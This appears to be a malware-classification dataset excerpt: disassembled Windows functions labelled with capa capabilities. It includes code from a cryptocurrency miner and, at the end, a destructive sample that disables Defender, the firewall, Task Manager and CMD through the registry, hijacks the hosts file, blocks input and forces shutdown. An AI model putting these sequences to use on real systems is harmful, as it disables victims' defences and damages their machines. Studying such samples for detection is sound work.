joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400807b0
Capabilities:
Read file on windows

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
mov rbp, qword [sym.imp.msvcrt.dll__errno]
mov rdi, rcx
mov rsi, rdx
mov ebx, r8d
jmp 0x1400807d7
call rbp
cmp dword [rax], 4
jne 0x1400807f4
mov rcx, rdi
call fcn.1400805d0
mov r8d, ebx
mov rdx, rsi
mov ecx, eax
call sub.msvcrt.dll__read
movsxd r12, eax
cmp eax, 0xffffffff
je 0x1400807d0
mov rax, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret

Function at 0x140094c60
Capabilities:
Read file on windows

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x38
mov rax, qword [rcx + 8]
mov rdi, rcx
test rax, rax
je 0x140094c88
xor ecx, ecx
add rsp, 0x38
pop rbx
pop rsi
pop rdi
pop rbp
jmp rax
mov rbp, qword [sym.imp.msvcrt.dll__errno]
mov ebx, 4
lea rsi, [rsp + 0x2c]
nop dword [rax]
mov ecx, dword [rdi + 0x10]
mov r8d, ebx
mov rdx, rsi
call sub.msvcrt.dll__read
test eax, eax
jle 0x140094cd0
cdqe
add rsi, rax
sub rbx, rax
jne 0x140094ca0
mov eax, dword [rsp + 0x2c]
add rsp, 0x38
pop rbx
pop rsi
pop rdi
pop rbp
ret
cmp eax, 0xffffffff
jne 0x140094cdc
call rbp
cmp dword [rax], 4
je 0x140094ca0
lea rcx, str.random_device_could_not_be_read
call fcn.1400bc8b0
nop
nop
nop
nop
nop
nop
nop
nop

Function at 0x1400a1630
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
mov r9, rcx
mov rdx, rcx
lea r11, [rcx + 0x38c]
mov r10d, 0x9908b0df
mov eax, dword [rcx]
and eax, 0x80000000
mov r8d, dword [rcx + 4]
and r8d, 0x7fffffff
or eax, r8d
mov r8d, eax
shr r8d, 1
xor r8d, dword [rcx + 0x634]
and eax, 1
cmovne eax, r10d
xor eax, r8d
mov dword [rcx], eax
add rcx, 4
cmp rcx, r11
jne 0x1400a1643
lea r10, [r9 + 0x630]
mov r8d, 0x9908b0df
mov eax, dword [rdx + 0x38c]
and eax, 0x80000000
mov ecx, dword [rdx + 0x390]
and ecx, 0x7fffffff
or eax, ecx
mov ecx, eax
shr ecx, 1
xor ecx, dword [rdx]
and eax, 1
cmovne eax, r8d
xor eax, ecx
mov dword [rdx + 0x38c], eax
add rdx, 4
cmp rdx, r10
jne 0x1400a1687
mov eax, dword [r9 + 0x9bc]
and eax, 0x80000000
mov edx, dword [r9]
and edx, 0x7fffffff
or eax, edx
mov edx, eax
shr edx, 1
xor edx, dword [r9 + 0x630]
and eax, 1
mov ecx, 0x9908b0df
cmovne eax, ecx
xor eax, edx
mov dword [r9 + 0x9bc], eax
mov qword [r9 + 0x9c0], 0
ret

Function at 0x1400a1700
Capabilities:
Generate random numbers using a mersenne twister

Disassembly:
push rbx
sub rsp, 0x20
mov rbx, rcx
cmp qword [rcx + 0x9c0], 0x26f
ja 0x1400a1756
mov rax, qword [rbx + 0x9c0]
lea rdx, [rax + 1]
mov qword [rbx + 0x9c0], rdx
mov eax, dword [rbx + rax*4]
mov edx, eax
shr edx, 0xb
xor edx, eax
mov eax, edx
shl eax, 7
and eax, 0x9d2c5680
xor edx, eax
mov eax, edx
shl eax, 0xf
and eax, 0xefc60000
xor eax, edx
mov edx, eax
shr edx, 0x12
xor eax, edx
add rsp, 0x20
pop rbx
ret
call fcn.1400a1630
jmp 0x1400a1715
Function at 0x1400012c0
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
push rsi
push rdi
push r12
push r14
push r15
mov eax, 0x13d0
call fcn.1400030c0
sub rsp, rax
mov rax, qword [0x140006040]
xor rax, rsp
mov qword [rsp + 0x13c0], rax
mov rbx, rcx
mov qword [rsp + 0x28], rcx
xor edi, edi
mov dword [rsp + 0x20], edi
mov edx, 4
mov rax, qword gs:[0x58]
mov rcx, qword [rax]
mov eax, dword [rdx + rcx]
cmp dword [0x140006764], eax
jle 0x1400013b1
lea rcx, [0x140006764]
call fcn.140002178
cmp dword [0x140006764], 0xffffffff
jne 0x1400013b1
xorps xmm0, xmm0
movups xmmword [0x140006768], xmm0
mov qword [0x140006778], rdi
mov qword [0x140006780], rdi
mov ecx, 0x30
call fcn.1400021f0
mov rdx, rax
mov qword [0x140006768], rax
mov qword [0x140006778], 0x24
mov qword [0x140006780], 0x2f
movups xmm0, xmmword [str.ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789]
movups xmmword [rax], xmm0
movups xmm1, xmmword [0x140004478]
movups xmmword [rax + 0x10], xmm1
mov eax, dword [0x140004488]
mov dword [rdx + 0x20], eax
mov byte [rdx + 0x24], dil
lea rcx, [0x1400032c0]
call fcn.140002454
nop
lea rcx, [0x140006764]
call fcn.14000210c
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov edx, eax
mov dword [rsp + 0x13b4], 0xffffffff
mov dword [rsp + 0x34], eax
mov ecx, 1
nop dword [rax]
mov eax, edx
shr eax, 0x1e
xor eax, edx
imul edx, eax, 0x6c078965
add edx, ecx
mov dword [rsp + rcx*4 + 0x34], edx
inc rcx
cmp rcx, 0x270
jb 0x1400013d0
mov dword [rsp + 0x30], 0x270
mov r14d, dword [0x140006778]
dec r14d
xorps xmm0, xmm0
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], rdi
mov qword [rbx + 0x18], 0xf
mov byte [rbx], 0
mov dword [rsp + 0x20], 1
mov r15d, 0x80000000
xor r14d, r15d
mov ebp, 0xa
lea r12, [0x140006768]
nop dword [rax]
nop word [rax + rax]
lea rcx, [rsp + 0x30]
cmp r14d, 0x7fffffff
jne 0x140001457
call fcn.140001f00
mov ecx, eax
jmp 0x140001498
lea edi, [r14 - 0x7fffffff]
call fcn.140001f00
mov esi, edi
mov ecx, eax
imul rcx, rsi
cmp ecx, edi
jae 0x140001494
mov eax, edi
neg eax
xor edx, edx
div edi
mov edi, edx
cmp ecx, edx
jae 0x140001494
nop dword [rax]
lea rcx, [rsp + 0x30]
call fcn.140001f00
mov ecx, eax
imul rcx, rsi
cmp ecx, edi
jb 0x140001480
shr rcx, 0x20
lea eax, [rcx + r15]
xor eax, r15d
mov rcx, r12
cmp qword [0x140006780], 0xf
cmova rcx, qword [0x140006768]
cdqe
movzx r9d, byte [rax + rcx]
mov rcx, qword [rbx + 0x10]
mov rdx, qword [rbx + 0x18]
cmp rcx, rdx
jae 0x1400014e5
lea rax, [rcx + 1]
mov qword [rbx + 0x10], rax
mov rax, rbx
cmp rdx, 0xf
jbe 0x1400014da
mov rax, qword [rbx]
mov byte [rax + rcx], r9b
mov byte [rax + rcx + 1], 0
jmp 0x1400014ed
mov rcx, rbx
call fcn.140001cd0
sub rbp, 1
jne 0x140001440
mov rax, rbx
mov rcx, qword [rsp + 0x13c0]
xor rcx, rsp
call fcn.1400020b0
lea r11, [rsp + 0x13d0]
mov rbx, qword [r11 + 0x38]
mov rbp, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r12
pop rdi
pop rsi
ret
Function at 0x140001f00
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
sub rsp, 8
mov r9, rcx
mov r10d, 0x270
mov ecx, dword [rcx]
cmp ecx, r10d
jne 0x140001f61
lea r8, [r9 + 8]
nop dword [rax + rax]
mov edx, dword [r8 - 4]
xor edx, dword [r8]
lea r8, [r8 + 4]
btr edx, 0x1f
xor edx, dword [r8 - 8]
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r8 + 0x62c]
xor ecx, edx
mov dword [r8 + 0x9b8], ecx
sub r10, 1
jne 0x140001f20
mov ecx, dword [r9]
jmp 0x14000204b
cmp ecx, 0x4e0
jb 0x14000204b
lea r10, [r9 + 0x9c4]
mov qword [rsp], rbx
mov r11d, dword [r10]
mov ebx, 0xe3
mov eax, r11d
mov r8, r10
mov r11d, dword [r10 + 4]
add r10, 4
mov edx, r11d
xor edx, eax
btr edx, 0x1f
xor edx, eax
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r8 + 0x634]
xor ecx, edx
mov dword [r8 - 0x9c0], ecx
sub rbx, 1
jne 0x140001f80
lea r10, [r9 + 0xd50]
mov ebx, 0x18c
mov r11d, dword [r10]
nop
mov eax, r11d
mov r8, r10
mov r11d, dword [r10 + 4]
mov edx, eax
xor edx, r11d
add r10, 4
btr edx, 0x1f
xor edx, eax
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r8 - 0xd4c]
xor ecx, edx
mov dword [r8 - 0x9c0], ecx
sub rbx, 1
jne 0x140001fd0
mov eax, dword [r9 + 0x1380]
mov edx, eax
xor edx, dword [r9 + 4]
mov rbx, qword [rsp]
btr edx, 0x1f
xor edx, eax
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r9 + 0x634]
xor ecx, edx
mov dword [r9 + 0x9c0], ecx
xor ecx, ecx
mov dword [r9], ecx
mov eax, ecx
mov edx, dword [r9 + rax*4 + 4]
lea eax, [rcx + 1]
mov dword [r9], eax
mov ecx, edx
mov eax, dword [r9 + 0x1384]
shr ecx, 0xb
and eax, ecx
xor edx, eax
mov eax, edx
and eax, 0xff3a58ad
shl eax, 7
xor edx, eax
mov eax, edx
and eax, 0xffffdf8c
shl eax, 0xf
xor edx, eax
mov eax, edx
shr eax, 0x12
xor eax, edx
add rsp, 8
ret

Function at 0x140002d0c
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140002d56
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140002d56
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140002d56
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140002d56
cmp dword [rcx + 0x84], 0xe
jbe 0x140002d56
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140002d58
xor al, al
add rsp, 0x28
ret
Function at 0x100401280
Capabilities:
Terminate process
Write file on windows

Disassembly:
push rbx
sub rsp, 0x20
test ecx, ecx
mov ebx, ecx
je 0x1004012b2
call sym.__getreent
mov r8d, 0x2a
mov edx, 1
mov r9, qword [rax + 0x18]
lea rcx, str.Try__minerd___help_for_more_information._n
call sym.fwrite
mov ecx, ebx
call sym.exit
lea rcx, str.Usage:_minerd__OPTIONS__nOptions:_n___a____algoALGO_______specify_the_algorithm_to_use_n__________________________scrypt____scrypt_1024__1__1___default__n__________________________sha256d___SHA_256d_n__________________________keccak____Keccak_SHA3__MaxCoin__n___o____urlURL_________URL_of_mining_server__default:_http:__127.0.0.1:8669___n___O____userpassU:P____username:password_pair_for_mining_server_n___u____userUSERNAME___username_for_mining_server_n___p____passPASSWORD___password_for_mining_server_n________certFILE_______certificate_for_mining_server_using_SSL_n___x____proxy_PROTOCOL:___HOST_:PORT___connect_through_a_proxy_n___t____threadsN_______number_of_miner_threads__default:_number_of_processors__n___r____retriesN_______number_of_times_to_retry_if_a_network_call_fails_n___________________________default:_retry_indefinitely__n___R____retry_pauseN___time_to_pause_between_retries__in_seconds__default:_30__n___T____timeoutN_______network_timeout__in_seconds__default:_270__n___s____scantimeN______upper_bound_on_time_spent_scanning_current_work_when_n__________________________long_polling_is_unavailable__in_seconds__default:_5__n________no_longpoll_____disable_X_Long_Polling_support_n________no_stratum______disable_X_Stratum_support_n___q____quiet___________disable_per_thread_hashmeter_output_n___D____debug___________enable_debug_output_n___H____hashdebug_______enable_hash_debug_output_n___P____protocol_dump___verbose_dump_of_protocol_level_activities_n___S____syslog__________use_system_log_for_output_messages_n___B____background______run_the_miner_in_the_background_n________benchmark_______run_in_offline_benchmark_mode_n___c____configFILE_____load_a_JSON_format_configuration_file_n___V____version_________display_version_information_and_exit_n___h____help____________display_this_help_text_and_exit
call sym.puts
jmp 0x1004012ab
Function at 0x100401a00
Capabilities:
Terminate process

Disassembly:
sub rsp, 0x28
cmp ecx, 2
je 0x100401a50
cmp ecx, 0xf
je 0x100401a32
cmp ecx, 1
je 0x100401a20
add rsp, 0x28
ret
lea rdx, str.SIGHUP_received
mov cl, 6
add rsp, 0x28
jmp sym.applog
lea rdx, str.SIGTERM_received__exiting
mov ecx, 6
call sym.applog
xor ecx, ecx
call sym.exit
nop word [rax + rax]
lea rdx, str.SIGINT_received__exiting
mov ecx, 6
call sym.applog
xor ecx, ecx
call sym.exit
nop
nop dword [rax]

Function at 0x100403aa0
Capabilities:
Set socket configuration

Disassembly:
sub rsp, 0x48
mov r8d, 8
mov dword [rsp + 0x20], 4
lea r9, [rsp + 0x30]
mov ecx, edx
mov edx, 0xffff
mov dword [rsp + 0x30], 1
call sym.setsockopt
test eax, eax
setne al
movzx eax, al
add rsp, 0x48
ret

Function at 0x100404e60
Capabilities:
Get socket status
Send data
Send data on socket

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x68
mov rax, qword [0x100469560]
cmp byte [rax], 0
mov rbx, rcx
mov r12, rdx
je 0x100404e96
mov r8, rdx
mov ecx, 7
lea rdx, [0x100468540]
call sym.applog
lea rax, [rbx + 0x130]
mov rcx, rax
mov qword [rsp + 0x38], rax
call sym.pthread_mutex_lock
mov rcx, r12
mov ebp, dword [rbx + 0x118]
call sym.strlen
lea rbx, [rax + 1]
mov byte [r12 + rax], 0xa
test rbx, rbx
jle 0x100404fa0
movsxd rdi, ebp
mov r13d, 1
mov ecx, ebp
lea rax, [rsp + 0x40]
shr rdi, 6
xor esi, esi
lea r15d, [rbp + 1]
shl r13, cl
mov qword [rsp + 0x30], rax
lea r14, [rsp + 0x50]
jmp 0x100404f02
sub rbx, rax
add rsi, rax
test rbx, rbx
jle 0x100404fa0
mov byte [rsp + 0x40], 0
mov r8, qword [rsp + 0x30]
xor r9d, r9d
mov byte [rsp + 0x41], 0
xor edx, edx
mov ecx, r15d
mov byte [rsp + 0x42], 0
mov byte [rsp + 0x43], 0
mov byte [rsp + 0x44], 0
mov byte [rsp + 0x45], 0
mov byte [rsp + 0x46], 0
mov byte [rsp + 0x47], 0
or qword [rsp + rdi*8 + 0x40], r13
mov qword [rsp + 0x20], r14
mov qword [rsp + 0x50], 0
mov qword [rsp + 0x58], 0
call sym.select
test eax, eax
jle 0x100404fb0
xor r9d, r9d
mov r8, rbx
mov ecx, ebp
lea rdx, [r12 + rsi]
call sym.send
test rax, rax
jns 0x100404ef3
call sym.__errno
cmp dword [rax], 0xb
je 0x100404f8a
nop dword [rax]
call sym.__errno
cmp dword [rax], 0xb
jne 0x100404fb0
xor eax, eax
sub rbx, rax
add rsi, rax
test rbx, rbx
jg 0x100404f02
nop dword [rax + rax]
mov ebx, 1
jmp 0x100404fb2
xor ebx, ebx
mov rcx, qword [rsp + 0x38]
call sym.pthread_mutex_unlock
mov eax, ebx
add rsp, 0x68
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret

Function at 0x100404fd0
Capabilities:
Get socket status

Disassembly:
sub rsp, 0x58
mov eax, 1
mov r8, qword [rcx + 0x128]
cmp byte [r8], 0
jne 0x100405040
mov ecx, dword [rcx + 0x118]
mov r8d, 1
movsxd rdx, edx
lea r10, [rsp + 0x30]
mov qword [rsp + 0x40], rdx
xor r9d, r9d
mov qword [rsp + 0x30], 0
mov rdx, r10
mov qword [rsp + 0x48], 0
movsxd rax, ecx
shl r8, cl
add ecx, 1
shr rax, 6
or qword [rsp + rax*8 + 0x30], r8
lea rax, [rsp + 0x40]
xor r8d, r8d
mov qword [rsp + 0x20], rax
call sym.select
test eax, eax
setg al
add rsp, 0x58
ret
Function at 0x1004053c0
Capabilities:
Query environment variable

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x28
lea rbp, [rcx + 0x130]
mov rsi, rcx
mov rdi, rdx
mov rcx, rbp
call sym.pthread_mutex_lock
mov rcx, qword [rsi + 8]
test rcx, rcx
je 0x1004053eb
call sym.curl_easy_cleanup
call sym.curl_easy_init
test rax, rax
mov rbx, rax
mov qword [rsi + 8], rax
je 0x100405680
mov rax, qword [rsi + 0x128]
test rax, rax
je 0x100405650
mov rcx, rbp
mov byte [rax], 0
call sym.pthread_mutex_unlock
mov rcx, qword [rsi]
cmp rcx, rdi
je 0x100405433
call fcn.100462c40
mov rcx, rdi
call sym.strdup
mov qword [rsi], rax
mov rcx, qword [rsi + 0x10]
call fcn.100462c40
mov rcx, rdi
call sym.strlen
mov rcx, rax
call sym.malloc
lea rdx, [0x1004685da]
mov rcx, rdi
mov qword [rsi + 0x10], rax
mov rbp, rax
call sym.strstr
lea rdx, str.http_s
mov rcx, rbp
mov r8, rax
call sym.sprintf
mov rax, qword [0x100469560]
cmp byte [rax], 0
jne 0x1004055f0
mov r8, qword [rsi + 0x10]
mov edx, 0x2712
mov rcx, rbx
lea rdi, [rsi + 0x18]
call sym.curl_easy_setopt
mov r8d, 1
mov edx, 0x4a
mov rcx, rbx
call sym.curl_easy_setopt
mov r8d, 0x1e
mov edx, 0x4e
mov rcx, rbx
call sym.curl_easy_setopt
mov r8, rdi
mov edx, 0x271a
mov rcx, rbx
call sym.curl_easy_setopt
mov r8d, 1
mov edx, 0x63
mov rcx, rbx
call sym.curl_easy_setopt
mov r8d, 1
mov edx, 0x79
mov rcx, rbx
call sym.curl_easy_setopt
mov rax, qword [0x100469570]
mov r8, qword [rax]
test r8, r8
je 0x100405516
mov rbp, qword [0x100469580]
cmp qword [rbp], 0
jne 0x100405610
lea rcx, str.http_proxy
call sym.getenv
test rax, rax
je 0x100405558
lea rcx, str.all_proxy
call sym.getenv
lea rcx, str.all_proxy
test rax, rax
je 0x100405633
call sym.getenv
mov edx, 0x2714
mov rcx, rbx
mov r8, rax
call sym.curl_easy_setopt
lea r8, [sym.sockopt_keepalive_cb]
mov edx, 0x4eb4
mov rcx, rbx
call sym.curl_easy_setopt
lea r8, [sym.opensocket_grab_cb]
mov rcx, rbx
mov edx, 0x4ec3
call sym.curl_easy_setopt
lea r8, [rsi + 0x118]
mov rcx, rbx
mov edx, 0x27b4
call sym.curl_easy_setopt
mov edx, 0x8d
mov r8d, 1
mov rcx, rbx
call sym.curl_easy_setopt
mov rcx, rbx
call sym.curl_easy_perform
mov edx, 1
test eax, eax
je 0x1004055de
lea rdx, str.Stratum_connection_failed:__s
mov r8, rdi
mov ecx, 3
call sym.applog
mov rcx, rbx
call sym.curl_easy_cleanup
mov qword [rsi + 8], 0
xor edx, edx
mov eax, edx
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop rbp
ret
mov r8d, 1
mov edx, 0x29
mov rcx, rbx
call sym.curl_easy_setopt
jmp 0x100405484
mov rcx, rbx
mov edx, 0x2714
call sym.curl_easy_setopt
mov r8, qword [rbp]
mov edx, 0x65
mov rcx, rbx
call sym.curl_easy_setopt
jmp 0x100405558
lea rcx, str.ALL_PROXY
call sym.getenv
test rax, rax
je 0x1004056a0
lea rcx, str.ALL_PROXY
jmp 0x100405543
mov edx, 1
mov ecx, 0x800
call sym.calloc
mov qword [rsi + 0x120], 0x800
mov qword [rsi + 0x128], rax
jmp 0x100405410
lea rdx, str.CURL_initialization_failed
mov ecx, 3
call sym.applog
mov rcx, rbp
call sym.pthread_mutex_unlock
xor edx, edx
jmp 0x1004055de
lea r8, [0x100468352]
mov edx, 0x2714
mov rcx, rbx
call sym.curl_easy_setopt
jmp 0x100405558
Function at 0x100408860
Capabilities:
Hash data using sha256

Disassembly:
mov rax, qword [0x100468920]
mov qword [rcx], rax
mov rax, qword [0x100468928]
mov qword [rcx + 8], rax
mov rax, qword [0x100468930]
mov qword [rcx + 0x10], rax
mov rax, qword [0x100468938]
mov qword [rcx + 0x18], rax
ret
Function at 0x100459ea0
Capabilities:
Encode data using xor

Disassembly:
mov r9d, 0x48
jmp sym.keccak_core

Function at 0x10045a670
Capabilities:
Hash data using djb2

Disassembly:
mov eax, 0x1505
movsx edx, byte [rcx + 8]
lea r8, [rcx + 8]
test edx, edx
je 0x10045a698
mov ecx, eax
add r8, 1
shl ecx, 5
add edx, ecx
add eax, edx
movsx edx, byte [r8]
test edx, edx
jne 0x10045a681
repz ret
repz ret

Function at 0x10045e7d0
Capabilities:
Write file on windows

Disassembly:
sub rsp, 0x28
mov r9, r8
movsxd rdx, edx
mov r8d, 1
call sym.fwrite
cmp rax, 1
setne al
movzx eax, al
neg eax
add rsp, 0x28
ret
Function at 0x140011096
Capabilities:
Set registry value

Disassembly:
jmp 0x1400117d0
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x138
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, 0x12
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x158]
mov rax, qword [section..data]
xor rax, rbp
mov qword [rbp + 0xf8], rax
lea rcx, [0x1400240f2]
call fcn.14001137f
lea rax, [rbp + 8]
mov qword [rsp + 0x20], rax
mov r9d, 2
xor r8d, r8d
mov rdx, qword [rbp + 0x128]
mov rcx, qword [rbp + 0x120]
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov dword [rbp + 0x24], eax
cmp dword [rbp + 0x24], 0
jne 0x1400118b7
mov dword [rsp + 0x28], 4
lea rax, [rbp + 0x138]
mov qword [rsp + 0x20], rax
mov r9d, 4
xor r8d, r8d
mov rdx, qword [rbp + 0x130]
mov rcx, qword [rbp + 8]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov dword [rbp + 0x24], eax
mov rcx, qword [rbp + 8]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp dword [rbp + 0x24], 0
jne 0x1400118a4
mov dword [rbp + 0xf4], 1
jmp 0x1400118ae
mov dword [rbp + 0xf4], 0
movzx eax, byte [rbp + 0xf4]
jmp 0x1400118b9
xor al, al
mov rdi, rax
lea rcx, [rbp - 0x30]
lea rdx, [0x14001ac00]
call fcn.14001131b
mov rax, rdi
mov rcx, qword [rbp + 0xf8]
xor rcx, rbp
call fcn.1400111b8
lea rsp, [rbp + 0x108]
pop rdi
pop rbp
ret

Function at 0x1400111f9
Capabilities:
Terminate process

Disassembly:
jmp 0x1400130f0
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret
Function at 0x140011271
Capabilities:
Change the wallpaper
Execute command

Disassembly:
jmp 0x1400119c0
push rbp
push rdi
sub rsp, 0xe8
lea rbp, [rsp + 0x20]
lea rcx, [0x1400240f2]
call fcn.14001137f
mov r9d, 1
lea r8, str.DisableTaskMgr
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionPoliciesSystem
mov rcx, 0xffffffff80000001
call fcn.140011096
mov r9d, 1
lea r8, str.DisableRegistryTools
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionPoliciesSystem
mov rcx, 0xffffffff80000001
call fcn.140011096
mov r9d, 1
lea r8, str.DisableCMD
lea rdx, str.SoftwarePoliciesMicrosoftWindowsSystem
mov rcx, 0xffffffff80000001
call fcn.140011096
mov r9d, 1
lea r8, str.NoControlPanel
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer
mov rcx, 0xffffffff80000001
call fcn.140011096
mov r9d, 1
lea r8, str.NoDevMgrPage
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionPoliciesSystem
mov rcx, 0xffffffff80000001
call fcn.140011096
xor r9d, r9d
lea r8, str.EnableFirewall
lea rdx, str.SYSTEMCurrentControlSetServicesSharedAccessParametersFirewallPolicyStandardProfile
mov rcx, 0xffffffff80000002
call fcn.140011096
xor r9d, r9d
lea r8, str.EnableFirewall
lea rdx, str.SYSTEMCurrentControlSetServicesSharedAccessParametersFirewallPolicyDomainProfile
mov rcx, 0xffffffff80000002
call fcn.140011096
mov r9d, 1
lea r8, str.DisableAntiSpyware
lea rdx, str.SOFTWAREPoliciesMicrosoftWindows_Defender
mov rcx, 0xffffffff80000002
call fcn.140011096
mov r9d, 1
lea r8, str.DisableRealtimeMonitoring
lea rdx, str.SOFTWAREPoliciesMicrosoftWindows_Defender
mov rcx, 0xffffffff80000002
call fcn.140011096
mov r9d, 1
lea r8, str.NoAutoUpdate
lea rdx, str.SOFTWAREPoliciesMicrosoftWindowsWindowsUpdateAU
mov rcx, 0xffffffff80000002
call fcn.140011096
mov r9d, 3
lea r8, str.C:PathToYourImage.jpg
xor edx, edx
mov ecx, 0x14
call qword [sym.imp.USER32.dll_SystemParametersInfoW]
mov r9d, 1
lea r8, str.NoDesktop
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer
mov rcx, 0xffffffff80000001
call fcn.140011096
lea rcx, str.echo_127.0.0.1_www.google.com____C:WindowsSystem32driversetchosts
call qword [sym.imp.ucrtbased.dll_system]
lea rcx, str.echo_127.0.0.1_www.facebook.com____C:WindowsSystem32driversetchosts
call qword [sym.imp.ucrtbased.dll_system]
mov ecx, 1
call qword [sym.imp.USER32.dll_BlockInput]
lea rcx, str.shutdown__s__t_60
call qword [sym.imp.ucrtbased.dll_system]
xor eax, eax
cmp eax, 1
je 0x140011c13
lea rcx, str.start_winword
call qword [sym.imp.ucrtbased.dll_system]
lea rcx, str.start_mspaint
call qword [sym.imp.ucrtbased.dll_system]
lea rcx, str.start_notepad
call qword [sym.imp.ucrtbased.dll_system]
lea rcx, str.start_write
call qword [sym.imp.ucrtbased.dll_system]
lea rcx, str.start_chrome
call qword [sym.imp.ucrtbased.dll_system]
lea rcx, str.start_explorer
call qword [sym.imp.ucrtbased.dll_system]
lea rcx, str.start_calc
call qword [sym.imp.ucrtbased.dll_system]
mov r9d, 0x30
lea r8, str.Warning
lea rdx, str.Your_system_is_infected_
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x140011b81
xor eax, eax
lea rsp, [rbp + 0xc8]
pop rdi
pop rbp
ret
Function at 0x14001127b
Capabilities:
Parse pe header

Disassembly:
jmp 0x140014440
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x140014460
xor al, al
jmp 0x1400144e1
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x140014473
xor al, al
jmp 0x1400144e1
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x14001449d
xor al, al
jmp 0x1400144e1
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x1400144b1
xor al, al
jmp 0x1400144e1
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x1400144c3
xor al, al
jmp 0x1400144e1
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x1400144df
xor al, al
jmp 0x1400144e1
mov al, 1
add rsp, 0x38
ret